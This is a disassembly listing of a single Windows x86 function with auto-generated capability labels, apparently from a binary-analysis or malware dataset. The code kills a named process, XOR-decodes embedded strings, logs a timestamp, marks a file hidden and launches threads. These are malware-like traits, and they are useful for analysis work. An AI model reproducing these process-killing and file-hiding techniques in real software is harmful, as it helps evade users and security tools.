Function at 0x41fa10
Capabilities:
Create thread
Encode data using xor
Enumerate processes
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x59ae16
mov eax, dword fs:[0]
push eax
sub esp, 0x290
mov eax, dword [0x6dd8d0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, dword [ebp + 8]
push 0
push 2
mov dword [ebp - 0x140], ebx
mov dword [ebp - 0x138], 0x128
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
lea eax, [ebp - 0x138]
push eax
push esi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x41fab2
lea ecx, [ecx]
mov ecx, ebx
lea eax, [ebp - 0x114]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x41fa98
test dl, dl
je 0x41fa94
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x41fa98
add eax, 2
add ecx, 2
test dl, dl
jne 0x41fa78
xor eax, eax
jmp 0x41fa9d
sbb eax, eax
or eax, 1
test eax, eax
je 0x41fada
lea eax, [ebp - 0x138]
push eax
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x41fa70
cmp esi, 0xffffffff
je 0x41fabe
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0059978a
mov esp, ebp
pop ebp
ret
push dword [ebp - 0x130]
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
cmp dword [0x6ee264], 1
jne 0x41fc25
mov dword [ebp - 0x13c], 0x5b0e70
mov ebx, dword [ebp - 0x13c]
mov edi, dword [ebp - 0x13c]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x41fb67
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x13c], ecx
test esi, esi
je 0x41fb5e
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov ecx, dword [ebp - 0x13c]
cmp edx, dword [ebx + 0xf]
jb 0x41fb42
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
push 1
push 0x40
push 8
push edi
lea ecx, [ebp - 0x29c]
call fcn.0040c520
mov dword [ebp - 0x13c], 0x5b0858
mov ebx, dword [ebp - 0x13c]
mov edi, dword [ebp - 0x13c]
add edi, 0x14
mov dword [ebp - 4], 0
cmp byte [ebx + 0x13], 0
je 0x41fbe5
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x13c], ecx
test esi, esi
je 0x41fbdc
sub edi, ecx
nop
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov ecx, dword [ebp - 0x13c]
cmp edx, dword [ebx + 0xf]
jb 0x41fbc0
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
lea eax, [ebp - 0x29c]
push edi
push eax
call fcn.0040afa0
push dword [ebp - 0x140]
lea eax, [ebp - 0x29c]
push eax
call fcn.0040afa0
add esp, 0x10
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x23c]
call fcn.0040c630
lea ecx, [ebp - 0x23c]
call dword [sym.imp.MSVCP120.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
cmp dword [0x6ee274], 1
jne 0x41ff08
lea eax, [ebp - 0x14c]
push eax
call dword [sym.imp.MSVCR120.dll__time64]
lea eax, [ebp - 0x14c]
push eax
call dword [sym.imp.MSVCR120.dll__localtime64]
mov dword [ebp - 0x13c], 0x5b087c
add esp, 8
mov ebx, dword [ebp - 0x13c]
mov edi, dword [ebp - 0x13c]
add edi, 0x14
mov dword [ebp - 0x144], eax
cmp byte [ebx + 0x13], 0
je 0x41fcb9
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x13c], ecx
test esi, esi
je 0x41fcb0
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov ecx, dword [ebp - 0x13c]
cmp edx, dword [ebx + 0xf]
jb 0x41fc94
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
push 1
push 0x40
push 8
push edi
lea ecx, [ebp - 0x1f4]
call fcn.0040c520
mov dword [ebp - 0x13c], 0x5b0894
mov ebx, dword [ebp - 0x13c]
mov edi, dword [ebp - 0x13c]
add edi, 0x14
mov dword [ebp - 4], 1
cmp byte [ebx + 0x13], 0
je 0x41fd36
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x13c], ecx
test esi, esi
je 0x41fd2d
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov ecx, dword [ebp - 0x13c]
cmp edx, dword [ebx + 0xf]
jb 0x41fd11
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
lea eax, [ebp - 0x1f4]
push edi
push eax
call fcn.0040afa0
push dword [ebp - 0x144]
call dword [sym.imp.MSVCR120.dll_asctime]
push eax
lea eax, [ebp - 0x1f4]
push eax
call fcn.0040afa0
mov dword [ebp - 0x13c], 0x5b08b8
add esp, 0x14
mov ebx, dword [ebp - 0x13c]
mov edi, dword [ebp - 0x13c]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x41fdc5
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x13c], ecx
test esi, esi
je 0x41fdbc
sub edi, ecx
mov edi, edi
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + edi]
mov byte [ecx], al
mov ecx, dword [ebp - 0x13c]
cmp edx, dword [ebx + 0xf]
jb 0x41fda0
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
lea eax, [ebp - 0x1f4]
push edi
push eax
call fcn.0040afa0
push dword [ebp - 0x140]
lea eax, [ebp - 0x1f4]
push eax
call fcn.0040afa0
mov dword [ebp - 0x13c], 0x5b08dc
add esp, 0x10
mov ebx, dword [ebp - 0x13c]
mov edi, dword [ebp - 0x13c]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x41fe4b
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x13c], ecx
test esi, esi
je 0x41fe42
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + edi]
mov byte [ecx], al
mov ecx, dword [ebp - 0x13c]
cmp edx, dword [ebx + 0xf]
jb 0x41fe26
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
lea eax, [ebp - 0x1f4]
push edi
push eax
call fcn.0040afa0
add esp, 8
lea ecx, [ebp - 0x1f0]
call fcn.0040a310
test eax, eax
jne 0x41fe84
push eax
mov eax, dword [ebp - 0x1f4]
lea ecx, [ebp - 0x1f4]
push 2
mov eax, dword [eax + 4]
add ecx, eax
call dword [sym.imp.MSVCP120.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
mov dword [ebp - 0x13c], 0x5b0918
mov ebx, dword [ebp - 0x13c]
mov edi, dword [ebp - 0x13c]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x41fee8
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x13c], ecx
test esi, esi
je 0x41fedf
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + edi]
mov byte [ecx], al
mov ecx, dword [ebp - 0x13c]
cmp edx, dword [ebx + 0xf]
jb 0x41fec3
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
push 2
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x194]
call fcn.0040c630
lea ecx, [ebp - 0x194]
call dword [sym.imp.MSVCP120.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
mov eax, dword [0x6ee268]
push 0
cmp eax, 1
jne 0x41ff3a
push 0
push 0
push 0x420070
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp eax, 2
jne 0x41ff4a
push 0
push 0
push 0x41fff0
jmp 0x41ff1d
cmp eax, 3
jne 0x41ff5a
push 0
push 0
push 0x4200f0
jmp 0x41ff1d
cmp eax, 4
jne 0x41ff34
push 0
push 0
push 0x40f490
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x13c], str.:09
mov ebx, dword [ebp - 0x13c]
mov edi, dword [ebp - 0x13c]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x41ffd6
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x13c], ecx
test esi, esi
je 0x41ffcd
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + edi]
mov byte [ecx], al
mov ecx, dword [ebp - 0x13c]
cmp edx, dword [ebx + 0xf]
jb 0x41ffb1
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
push 0x200010
push edi
push dword [ebp - 0x140]
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x41ff32